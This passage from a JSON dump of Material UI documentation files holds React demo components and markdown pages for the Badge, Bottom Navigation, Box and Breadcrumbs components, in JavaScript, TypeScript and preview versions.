<AddIcon fontSize=\"small\" />\n          </Button>\n        </ButtonGroup>\n      </div>\n      <div>\n        <Badge color=\"secondary\" variant=\"dot\" invisible={invisible}>\n          <MailIcon />\n        </Badge>\n        <FormControlLabel\n          sx={{ color: 'text.primary' }}\n          control={<Switch checked={!invisible} onChange={handleBadgeVisibility} />}\n          label=\"Show Badge\"\n        />\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/ColorBadge.js",
    "content": "import Badge from '@mui/material/Badge';\nimport Stack from '@mui/material/Stack';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function ColorBadge() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <Badge badgeContent={4} color=\"secondary\">\n        <MailIcon color=\"action\" />\n      </Badge>\n      <Badge badgeContent={4} color=\"success\">\n        <MailIcon color=\"action\" />\n      </Badge>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/ColorBadge.tsx",
    "content": "import Badge from '@mui/material/Badge';\nimport Stack from '@mui/material/Stack';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function ColorBadge() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <Badge badgeContent={4} color=\"secondary\">\n        <MailIcon color=\"action\" />\n      </Badge>\n      <Badge badgeContent={4} color=\"success\">\n        <MailIcon color=\"action\" />\n      </Badge>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/ColorBadge.tsx.preview",
    "content": "<Badge badgeContent={4} color=\"secondary\">\n  <MailIcon color=\"action\" />\n</Badge>\n<Badge badgeContent={4} color=\"success\">\n  <MailIcon color=\"action\" />\n</Badge>"
  },
  {
    "path": "docs/data/material/components/badges/CustomizedBadges.js",
    "content": "import Badge from '@mui/material/Badge';\nimport { styled } from '@mui/material/styles';\nimport IconButton from '@mui/material/IconButton';\nimport ShoppingCartIcon from '@mui/icons-material/ShoppingCart';\n\nconst StyledBadge = styled(Badge)(({ theme }) => ({\n  '& .MuiBadge-badge': {\n    right: -3,\n    top: 13,\n    border: `2px solid ${(theme.vars ?? theme).palette.background.paper}`,\n    padding: '0 4px',\n  },\n}));\n\nexport default function CustomizedBadges() {\n  return (\n    <IconButton aria-label=\"cart\">\n      <StyledBadge badgeContent={4} color=\"secondary\">\n        <ShoppingCartIcon />\n      </StyledBadge>\n    </IconButton>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/CustomizedBadges.tsx",
    "content": "import Badge, { BadgeProps } from '@mui/material/Badge';\nimport { styled } from '@mui/material/styles';\nimport IconButton from '@mui/material/IconButton';\nimport ShoppingCartIcon from '@mui/icons-material/ShoppingCart';\n\nconst StyledBadge = styled(Badge)<BadgeProps>(({ theme }) => ({\n  '& .MuiBadge-badge': {\n    right: -3,\n    top: 13,\n    border: `2px solid ${(theme.vars ?? theme).palette.background.paper}`,\n    padding: '0 4px',\n  },\n}));\n\nexport default function CustomizedBadges() {\n  return (\n    <IconButton aria-label=\"cart\">\n      <StyledBadge badgeContent={4} color=\"secondary\">\n        <ShoppingCartIcon />\n      </StyledBadge>\n    </IconButton>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/CustomizedBadges.tsx.preview",
    "content": "<IconButton aria-label=\"cart\">\n  <StyledBadge badgeContent={4} color=\"secondary\">\n    <ShoppingCartIcon />\n  </StyledBadge>\n</IconButton>"
  },
  {
    "path": "docs/data/material/components/badges/DotBadge.js",
    "content": "import Box from '@mui/material/Box';\nimport Badge from '@mui/material/Badge';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function DotBadge() {\n  return (\n    <Box sx={{ color: 'action.active' }}>\n      <Badge color=\"secondary\" variant=\"dot\">\n        <MailIcon />\n      </Badge>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/DotBadge.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Badge from '@mui/material/Badge';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function DotBadge() {\n  return (\n    <Box sx={{ color: 'action.active' }}>\n      <Badge color=\"secondary\" variant=\"dot\">\n        <MailIcon />\n      </Badge>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/DotBadge.tsx.preview",
    "content": "<Badge color=\"secondary\" variant=\"dot\">\n  <MailIcon />\n</Badge>"
  },
  {
    "path": "docs/data/material/components/badges/ShowZeroBadge.js",
    "content": "import Stack from '@mui/material/Stack';\nimport Badge from '@mui/material/Badge';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function ShowZeroBadge() {\n  return (\n    <Stack spacing={4} direction=\"row\" sx={{ color: 'action.active' }}>\n      <Badge color=\"secondary\" badgeContent={0}>\n        <MailIcon />\n      </Badge>\n      <Badge color=\"secondary\" badgeContent={0} showZero>\n        <MailIcon />\n      </Badge>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/ShowZeroBadge.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport Badge from '@mui/material/Badge';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function ShowZeroBadge() {\n  return (\n    <Stack spacing={4} direction=\"row\" sx={{ color: 'action.active' }}>\n      <Badge color=\"secondary\" badgeContent={0}>\n        <MailIcon />\n      </Badge>\n      <Badge color=\"secondary\" badgeContent={0} showZero>\n        <MailIcon />\n      </Badge>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/ShowZeroBadge.tsx.preview",
    "content": "<Badge color=\"secondary\" badgeContent={0}>\n  <MailIcon />\n</Badge>\n<Badge color=\"secondary\" badgeContent={0} showZero>\n  <MailIcon />\n</Badge>"
  },
  {
    "path": "docs/data/material/components/badges/SimpleBadge.js",
    "content": "import Badge from '@mui/material/Badge';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function SimpleBadge() {\n  return (\n    <Badge badgeContent={4} color=\"primary\">\n      <MailIcon color=\"action\" />\n    </Badge>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/SimpleBadge.tsx",
    "content": "import Badge from '@mui/material/Badge';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function SimpleBadge() {\n  return (\n    <Badge badgeContent={4} color=\"primary\">\n      <MailIcon color=\"action\" />\n    </Badge>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/badges/SimpleBadge.tsx.preview",
    "content": "<Badge badgeContent={4} color=\"primary\">\n  <MailIcon color=\"action\" />\n</Badge>"
  },
  {
    "path": "docs/data/material/components/badges/badges.md",
    "content": "---\nproductId: material-ui\ntitle: React Badge component\ncomponents: Badge\ngithubLabel: 'scope: badge'\ngithubSource: packages/mui-material/src/Badge\n---\n\n# Badge\n\n<p class=\"description\">Badge generates a small badge to the top-right of its child(ren).</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic badge\n\nExamples of badges containing text, using primary and secondary colors. The badge is applied to its children.\n\n{{\"demo\": \"SimpleBadge.js\"}}\n\n## Color\n\nUse `color` prop to apply theme palette to component.\n\n{{\"demo\": \"ColorBadge.js\"}}\n\n## Customization\n\nHere is an example of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedBadges.js\"}}\n\n## Badge visibility\n\nThe visibility of badges can be controlled using the `invisible` prop.\n\n{{\"demo\": \"BadgeVisibility.js\"}}\n\nThe badge hides automatically when `badgeContent` is zero. You can override this with the `showZero` prop.\n\n{{\"demo\": \"ShowZeroBadge.js\"}}\n\n## Maximum value\n\nYou can use the `max` prop to cap the value of the badge content.\n\n{{\"demo\": \"BadgeMax.js\"}}\n\n## Dot badge\n\nThe `dot` prop changes a badge into a small dot. This can be used as a notification that something has changed without giving a count.\n\n{{\"demo\": \"DotBadge.js\"}}\n\n## Badge overlap\n\nYou can use the `overlap` prop to place the badge relative to the corner of the wrapped element.\n\n{{\"demo\": \"BadgeOverlap.js\"}}\n\n## Badge alignment\n\nYou can use the `anchorOrigin` prop to move the badge to any corner of the wrapped element.\n\n{{\"demo\": \"BadgeAlignment.js\", \"hideToolbar\": true}}\n\n## Accessibility\n\nYou can't rely on the content of the badge to be announced correctly.\nYou should provide a full description, for instance, with `aria-label`:\n\n{{\"demo\": \"AccessibleBadges.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/bottom-navigation/FixedBottomNavigation.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport BottomNavigation from '@mui/material/BottomNavigation';\nimport BottomNavigationAction from '@mui/material/BottomNavigationAction';\nimport RestoreIcon from '@mui/icons-material/Restore';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport ArchiveIcon from '@mui/icons-material/Archive';\nimport Paper from '@mui/material/Paper';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport ListItemText from '@mui/material/ListItemText';\nimport Avatar from '@mui/material/Avatar';\n\nfunction refreshMessages() {\n  const getRandomInt = (max) => Math.floor(Math.random() * Math.floor(max));\n\n  return Array.from(new Array(50)).map(\n    () => messageExamples[getRandomInt(messageExamples.length)],\n  );\n}\n\nexport default function FixedBottomNavigation() {\n  const [value, setValue] = React.useState(0);\n  const ref = React.useRef(null);\n  const [messages, setMessages] = React.useState(() => refreshMessages());\n\n  React.useEffect(() => {\n    ref.current.ownerDocument.body.scrollTop = 0;\n    setMessages(refreshMessages());\n  }, [value, setMessages]);\n\n  return (\n    <Box sx={{ pb: 7 }} ref={ref}>\n      <CssBaseline />\n      <List>\n        {messages.map(({ primary, secondary, person }, index) => (\n          <ListItemButton key={index + person}>\n            <ListItemAvatar>\n              <Avatar alt=\"Profile Picture\" src={person} />\n            </ListItemAvatar>\n            <ListItemText primary={primary} secondary={secondary} />\n          </ListItemButton>\n        ))}\n      </List>\n      <Paper sx={{ position: 'fixed', bottom: 0, left: 0, right: 0 }} elevation={3}>\n        <BottomNavigation\n          showLabels\n          value={value}\n          onChange={(event, newValue) => {\n            setValue(newValue);\n          }}\n        >\n          <BottomNavigationAction label=\"Recents\" icon={<RestoreIcon />} />\n          <BottomNavigationAction label=\"Favorites\" icon={<FavoriteIcon />} />\n          <BottomNavigationAction label=\"Archive\" icon={<ArchiveIcon />} />\n        </BottomNavigation>\n      </Paper>\n    </Box>\n  );\n}\n\nconst messageExamples = [\n  {\n    primary: 'Brunch this week?',\n    secondary: \"I'll be in the neighbourhood this week. Let's grab a bite to eat\",\n    person: '/static/images/avatar/5.jpg',\n  },\n  {\n    primary: 'Birthday Gift',\n    secondary: `Do you have a suggestion for a good present for John on his work\n      anniversary. I am really confused & would love your thoughts on it.`,\n    person: '/static/images/avatar/1.jpg',\n  },\n  {\n    primary: 'Recipe to try',\n    secondary: 'I am try out this new BBQ recipe, I think this might be amazing',\n    person: '/static/images/avatar/2.jpg',\n  },\n  {\n    primary: 'Yes!',\n    secondary: 'I have the tickets to the ReactConf for this year.',\n    person: '/static/images/avatar/3.jpg',\n  },\n  {\n    primary: \"Doctor's Appointment\",\n    secondary: 'My appointment for the doctor was rescheduled for next Saturday.',\n    person: '/static/images/avatar/4.jpg',\n  },\n  {\n    primary: 'Discussion',\n    secondary: `Menus that are generated by the bottom app bar (such as a bottom\n      navigation drawer or overflow menu) open as bottom sheets at a higher elevation\n      than the bar.`,\n    person: '/static/images/avatar/5.jpg',\n  },\n  {\n    primary: 'Summer BBQ',\n    secondary: `Who wants to have a cookout this weekend? I just got some furniture\n      for my backyard and would love to fire up the grill.`,\n    person: '/static/images/avatar/1.jpg',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/bottom-navigation/FixedBottomNavigation.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport BottomNavigation from '@mui/material/BottomNavigation';\nimport BottomNavigationAction from '@mui/material/BottomNavigationAction';\nimport RestoreIcon from '@mui/icons-material/Restore';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport ArchiveIcon from '@mui/icons-material/Archive';\nimport Paper from '@mui/material/Paper';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport ListItemText from '@mui/material/ListItemText';\nimport Avatar from '@mui/material/Avatar';\n\nfunction refreshMessages(): MessageExample[] {\n  const getRandomInt = (max: number) => Math.floor(Math.random() * Math.floor(max));\n\n  return Array.from(new Array(50)).map(\n    () => messageExamples[getRandomInt(messageExamples.length)],\n  );\n}\n\nexport default function FixedBottomNavigation() {\n  const [value, setValue] = React.useState(0);\n  const ref = React.useRef<HTMLDivElement>(null);\n  const [messages, setMessages] = React.useState(() => refreshMessages());\n\n  React.useEffect(() => {\n    (ref.current as HTMLDivElement).ownerDocument.body.scrollTop = 0;\n    setMessages(refreshMessages());\n  }, [value, setMessages]);\n\n  return (\n    <Box sx={{ pb: 7 }} ref={ref}>\n      <CssBaseline />\n      <List>\n        {messages.map(({ primary, secondary, person }, index) => (\n          <ListItemButton key={index + person}>\n            <ListItemAvatar>\n              <Avatar alt=\"Profile Picture\" src={person} />\n            </ListItemAvatar>\n            <ListItemText primary={primary} secondary={secondary} />\n          </ListItemButton>\n        ))}\n      </List>\n      <Paper sx={{ position: 'fixed', bottom: 0, left: 0, right: 0 }} elevation={3}>\n        <BottomNavigation\n          showLabels\n          value={value}\n          onChange={(event, newValue) => {\n            setValue(newValue);\n          }}\n        >\n          <BottomNavigationAction label=\"Recents\" icon={<RestoreIcon />} />\n          <BottomNavigationAction label=\"Favorites\" icon={<FavoriteIcon />} />\n          <BottomNavigationAction label=\"Archive\" icon={<ArchiveIcon />} />\n        </BottomNavigation>\n      </Paper>\n    </Box>\n  );\n}\n\ninterface MessageExample {\n  primary: string;\n  secondary: string;\n  person: string;\n}\n\nconst messageExamples: readonly MessageExample[] = [\n  {\n    primary: 'Brunch this week?',\n    secondary: \"I'll be in the neighbourhood this week. Let's grab a bite to eat\",\n    person: '/static/images/avatar/5.jpg',\n  },\n  {\n    primary: 'Birthday Gift',\n    secondary: `Do you have a suggestion for a good present for John on his work\n      anniversary. I am really confused & would love your thoughts on it.`,\n    person: '/static/images/avatar/1.jpg',\n  },\n  {\n    primary: 'Recipe to try',\n    secondary: 'I am try out this new BBQ recipe, I think this might be amazing',\n    person: '/static/images/avatar/2.jpg',\n  },\n  {\n    primary: 'Yes!',\n    secondary: 'I have the tickets to the ReactConf for this year.',\n    person: '/static/images/avatar/3.jpg',\n  },\n  {\n    primary: \"Doctor's Appointment\",\n    secondary: 'My appointment for the doctor was rescheduled for next Saturday.',\n    person: '/static/images/avatar/4.jpg',\n  },\n  {\n    primary: 'Discussion',\n    secondary: `Menus that are generated by the bottom app bar (such as a bottom\n      navigation drawer or overflow menu) open as bottom sheets at a higher elevation\n      than the bar.`,\n    person: '/static/images/avatar/5.jpg',\n  },\n  {\n    primary: 'Summer BBQ',\n    secondary: `Who wants to have a cookout this weekend? I just got some furniture\n      for my backyard and would love to fire up the grill.`,\n    person: '/static/images/avatar/1.jpg',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/bottom-navigation/LabelBottomNavigation.js",
    "content": "import * as React from 'react';\nimport BottomNavigation from '@mui/material/BottomNavigation';\nimport BottomNavigationAction from '@mui/material/BottomNavigationAction';\nimport FolderIcon from '@mui/icons-material/Folder';\nimport RestoreIcon from '@mui/icons-material/Restore';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport LocationOnIcon from '@mui/icons-material/LocationOn';\n\nexport default function LabelBottomNavigation() {\n  const [value, setValue] = React.useState('recents');\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <BottomNavigation sx={{ width: 500 }} value={value} onChange={handleChange}>\n      <BottomNavigationAction\n        label=\"Recents\"\n        value=\"recents\"\n        icon={<RestoreIcon />}\n      />\n      <BottomNavigationAction\n        label=\"Favorites\"\n        value=\"favorites\"\n        icon={<FavoriteIcon />}\n      />\n      <BottomNavigationAction\n        label=\"Nearby\"\n        value=\"nearby\"\n        icon={<LocationOnIcon />}\n      />\n      <BottomNavigationAction label=\"Folder\" value=\"folder\" icon={<FolderIcon />} />\n    </BottomNavigation>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/bottom-navigation/LabelBottomNavigation.tsx",
    "content": "import * as React from 'react';\nimport BottomNavigation from '@mui/material/BottomNavigation';\nimport BottomNavigationAction from '@mui/material/BottomNavigationAction';\nimport FolderIcon from '@mui/icons-material/Folder';\nimport RestoreIcon from '@mui/icons-material/Restore';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport LocationOnIcon from '@mui/icons-material/LocationOn';\n\nexport default function LabelBottomNavigation() {\n  const [value, setValue] = React.useState('recents');\n\n  const handleChange = (event: React.SyntheticEvent, newValue: string) => {\n    setValue(newValue);\n  };\n\n  return (\n    <BottomNavigation sx={{ width: 500 }} value={value} onChange={handleChange}>\n      <BottomNavigationAction\n        label=\"Recents\"\n        value=\"recents\"\n        icon={<RestoreIcon />}\n      />\n      <BottomNavigationAction\n        label=\"Favorites\"\n        value=\"favorites\"\n        icon={<FavoriteIcon />}\n      />\n      <BottomNavigationAction\n        label=\"Nearby\"\n        value=\"nearby\"\n        icon={<LocationOnIcon />}\n      />\n      <BottomNavigationAction label=\"Folder\" value=\"folder\" icon={<FolderIcon />} />\n    </BottomNavigation>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/bottom-navigation/SimpleBottomNavigation.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport BottomNavigation from '@mui/material/BottomNavigation';\nimport BottomNavigationAction from '@mui/material/BottomNavigationAction';\nimport RestoreIcon from '@mui/icons-material/Restore';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport LocationOnIcon from '@mui/icons-material/LocationOn';\n\nexport default function SimpleBottomNavigation() {\n  const [value, setValue] = React.useState(0);\n\n  return (\n    <Box sx={{ width: 500 }}>\n      <BottomNavigation\n        showLabels\n        value={value}\n        onChange={(event, newValue) => {\n          setValue(newValue);\n        }}\n      >\n        <BottomNavigationAction label=\"Recents\" icon={<RestoreIcon />} />\n        <BottomNavigationAction label=\"Favorites\" icon={<FavoriteIcon />} />\n        <BottomNavigationAction label=\"Nearby\" icon={<LocationOnIcon />} />\n      </BottomNavigation>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/bottom-navigation/SimpleBottomNavigation.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport BottomNavigation from '@mui/material/BottomNavigation';\nimport BottomNavigationAction from '@mui/material/BottomNavigationAction';\nimport RestoreIcon from '@mui/icons-material/Restore';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport LocationOnIcon from '@mui/icons-material/LocationOn';\n\nexport default function SimpleBottomNavigation() {\n  const [value, setValue] = React.useState(0);\n\n  return (\n    <Box sx={{ width: 500 }}>\n      <BottomNavigation\n        showLabels\n        value={value}\n        onChange={(event, newValue) => {\n          setValue(newValue);\n        }}\n      >\n        <BottomNavigationAction label=\"Recents\" icon={<RestoreIcon />} />\n        <BottomNavigationAction label=\"Favorites\" icon={<FavoriteIcon />} />\n        <BottomNavigationAction label=\"Nearby\" icon={<LocationOnIcon />} />\n      </BottomNavigation>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/bottom-navigation/SimpleBottomNavigation.tsx.preview",
    "content": "<BottomNavigation\n  showLabels\n  value={value}\n  onChange={(event, newValue) => {\n    setValue(newValue);\n  }}\n>\n  <BottomNavigationAction label=\"Recents\" icon={<RestoreIcon />} />\n  <BottomNavigationAction label=\"Favorites\" icon={<FavoriteIcon />} />\n  <BottomNavigationAction label=\"Nearby\" icon={<LocationOnIcon />} />\n</BottomNavigation>"
  },
  {
    "path": "docs/data/material/components/bottom-navigation/bottom-navigation.md",
    "content": "---\nproductId: material-ui\ntitle: Bottom Navigation React component\ncomponents: BottomNavigation, BottomNavigationAction\ngithubLabel: 'scope: bottom navigation'\nmaterialDesign: https://m2.material.io/components/bottom-navigation\ngithubSource: packages/mui-material/src/BottomNavigation\n---\n\n# Bottom Navigation\n\n<p class=\"description\">The Bottom Navigation bar allows movement between primary destinations in an app.</p>\n\nBottom navigation bars display three to five destinations at the bottom of a screen. Each destination is represented by an icon and an optional text label. When a bottom navigation icon is tapped, the user is taken to the top-level navigation destination associated with that icon.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Bottom navigation\n\nWhen there are only **three** actions, display both icons and text labels at all times.\n\n{{\"demo\": \"SimpleBottomNavigation.js\", \"bg\": true}}\n\n## Bottom navigation with no label\n\nIf there are **four** or **five** actions, display inactive views as icons only.\n\n{{\"demo\": \"LabelBottomNavigation.js\", \"bg\": true}}\n\n## Fixed positioning\n\nThis demo keeps bottom navigation fixed to the bottom, no matter the amount of content on-screen.\n\n{{\"demo\": \"FixedBottomNavigation.js\", \"bg\": true, \"iframe\": true, \"maxWidth\": 600}}\n\n## Third-party routing library\n\nOne frequent use case is to perform navigation on the client only, without an HTTP round-trip to the server.\nThe `BottomNavigationAction` component provides the `component` prop to handle this use case.\nHere is a [more detailed guide](/material-ui/integrations/routing/).\n"
  },
  {
    "path": "docs/data/material/components/box/BoxBasic.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function BoxBasic() {\n  return (\n    <Box component=\"section\" sx={{ p: 2, border: '1px dashed grey' }}>\n      This Box renders as an HTML section element.\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/box/BoxBasic.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function BoxBasic() {\n  return (\n    <Box component=\"section\" sx={{ p: 2, border: '1px dashed grey' }}>\n      This Box renders as an HTML section element.\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/box/BoxBasic.tsx.preview",
    "content": "\n  This Box renders as an HTML section element.\n"
  },
  {
    "path": "docs/data/material/components/box/BoxSx.js",
    "content": "import Box from '@mui/material/Box';\nimport { ThemeProvider } from '@mui/material/styles';\n\nexport default function BoxSx() {\n  return (\n    <ThemeProvider\n      theme={{\n        palette: {\n          primary: {\n            main: '#007FFF',\n            dark: '#0066CC',\n          },\n        },\n      }}\n    >\n      <Box\n        sx={{\n          width: 100,\n          height: 100,\n          borderRadius: 1,\n          bgcolor: 'primary.main',\n          '&:hover': {\n            bgcolor: 'primary.dark',\n          },\n        }}\n      />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/box/BoxSx.tsx",
    "content": "import Box from '@mui/material/Box';\nimport { ThemeProvider } from '@mui/material/styles';\n\nexport default function BoxSx() {\n  return (\n    <ThemeProvider\n      theme={{\n        palette: {\n          primary: {\n            main: '#007FFF',\n            dark: '#0066CC',\n          },\n        },\n      }}\n    >\n      <Box\n        sx={{\n          width: 100,\n          height: 100,\n          borderRadius: 1,\n          bgcolor: 'primary.main',\n          '&:hover': {\n            bgcolor: 'primary.dark',\n          },\n        }}\n      />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/box/box.md",
    "content": "---\nproductId: material-ui\ntitle: React Box\ncomponents: Box\ngithubLabel: 'component: Box'\ngithubSource: packages/mui-material/src/Box\n---\n\n<!-- This page's content is duplicated (with some product-specific details) across the Material UI, Joy UI, and MUI System docs. Any changes should be applied to all three pages at the same time. -->\n\n# Box\n\n<p class=\"description\">The Box component is a generic, theme-aware container with access to CSS utilities from MUI System.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Introduction\n\nThe Box component is a generic container for grouping other components.\nIt's a fundamental building block when working with Material UI—you can think of it as a `<div>` with extra built-in features, like access to your app's theme and the [`sx` prop](/system/getting-started/the-sx-prop/).\n\n### Usage\n\nThe Box component differs from other containers available in Material UI in that its usage is intended to be multipurpose and open-ended, just like a `<div>`.\nComponents like [Container](/material-ui/react-container/), [Stack](/material-ui/react-stack/) and [Paper](/material-ui/react-paper/), by contrast, feature usage-specific props that make them ideal for certain use cases: Container for main layout orientation, Stack for one-dimensional layouts, and Paper for elevated surfaces.\n\n## Basics\n\n```jsx\nimport Box from '@mui/material/Box';\n```\n\nThe Box component renders as a `<div>` by default, but you can swap in any other valid HTML tag or React component using the `component` prop.\nThe demo below replaces the `<div>` with a `<section>` element:\n\n{{\"demo\": \"BoxBasic.js\", \"defaultCodeOpen\": true }}\n\n## Customization\n\nUse the [`sx` prop](/system/getting-started/the-sx-prop/) to quickly customize any Box instance using a superset of CSS that has access to all the style functions and theme-aware properties exposed in the MUI System package.\nThe demo below shows how to apply colors from the theme using this prop:\n\n{{\"demo\": \"BoxSx.js\", \"defaultCodeOpen\": true }}\n\n## Anatomy\n\nThe Box component is composed of a single root `<div>` element:\n\n```html\n<div className=\"MuiBox-root\">\n  <!-- contents of the Box -->\n</div>\n```\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/ActiveLastBreadcrumb.js",
    "content": "import * as React from 'react';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Link from '@mui/material/Link';\n\nfunction handleClick(event) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function ActiveLastBreadcrumb() {\n  return (\n    <div role=\"presentation\" onClick={handleClick}>\n      <Breadcrumbs aria-label=\"breadcrumb\">\n        <Link underline=\"hover\" color=\"inherit\" href=\"/\">\n          MUI\n        </Link>\n        <Link\n          underline=\"hover\"\n          color=\"inherit\"\n          href=\"/material-ui/getting-started/installation/\"\n        >\n          Core\n        </Link>\n        <Link\n          underline=\"hover\"\n          href=\"/material-ui/react-breadcrumbs/\"\n          aria-current=\"page\"\n          sx={{\n            color: 'text.primary',\n          }}\n        >\n          Breadcrumbs\n        </Link>\n      </Breadcrumbs>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/ActiveLastBreadcrumb.tsx",
    "content": "import * as React from 'react';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Link from '@mui/material/Link';\n\nfunction handleClick(event: React.MouseEvent<HTMLDivElement, MouseEvent>) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function ActiveLastBreadcrumb() {\n  return (\n    <div role=\"presentation\" onClick={handleClick}>\n      <Breadcrumbs aria-label=\"breadcrumb\">\n        <Link underline=\"hover\" color=\"inherit\" href=\"/\">\n          MUI\n        </Link>\n        <Link\n          underline=\"hover\"\n          color=\"inherit\"\n          href=\"/material-ui/getting-started/installation/\"\n        >\n          Core\n        </Link>\n        <Link\n          underline=\"hover\"\n          href=\"/material-ui/react-breadcrumbs/\"\n          aria-current=\"page\"\n          sx={{\n            color: 'text.primary',\n          }}\n        >\n          Breadcrumbs\n        </Link>\n      </Breadcrumbs>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/BasicBreadcrumbs.js",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Link from '@mui/material/Link';\n\nfunction handleClick(event) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function BasicBreadcrumbs() {\n  return (\n    <div role=\"presentation\" onClick={handleClick}>\n      <Breadcrumbs aria-label=\"breadcrumb\">\n        <Link underline=\"hover\" color=\"inherit\" href=\"/\">\n          MUI\n        </Link>\n        <Link\n          underline=\"hover\"\n          color=\"inherit\"\n          href=\"/material-ui/getting-started/installation/\"\n        >\n          Core\n        </Link>\n        <Typography sx={{ color: 'text.primary' }}>Breadcrumbs</Typography>\n      </Breadcrumbs>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/BasicBreadcrumbs.tsx",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Link from '@mui/material/Link';\n\nfunction handleClick(event: React.MouseEvent<HTMLDivElement, MouseEvent>) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function BasicBreadcrumbs() {\n  return (\n    <div role=\"presentation\" onClick={handleClick}>\n      <Breadcrumbs aria-label=\"breadcrumb\">\n        <Link underline=\"hover\" color=\"inherit\" href=\"/\">\n          MUI\n        </Link>\n        <Link\n          underline=\"hover\"\n          color=\"inherit\"\n          href=\"/material-ui/getting-started/installation/\"\n        >\n          Core\n        </Link>\n        <Typography sx={{ color: 'text.primary' }}>Breadcrumbs</Typography>\n      </Breadcrumbs>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/BasicBreadcrumbs.tsx.preview",
    "content": "<Breadcrumbs aria-label=\"breadcrumb\">\n  <Link underline=\"hover\" color=\"inherit\" href=\"/\">\n    MUI\n  </Link>\n  <Link\n    underline=\"hover\"\n    color=\"inherit\"\n    href=\"/material-ui/getting-started/installation/\"\n  >\n    Core\n  </Link>\n  <Typography sx={{ color: 'text.primary' }}>Breadcrumbs</Typography>\n</Breadcrumbs>"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/CollapsedBreadcrumbs.js",
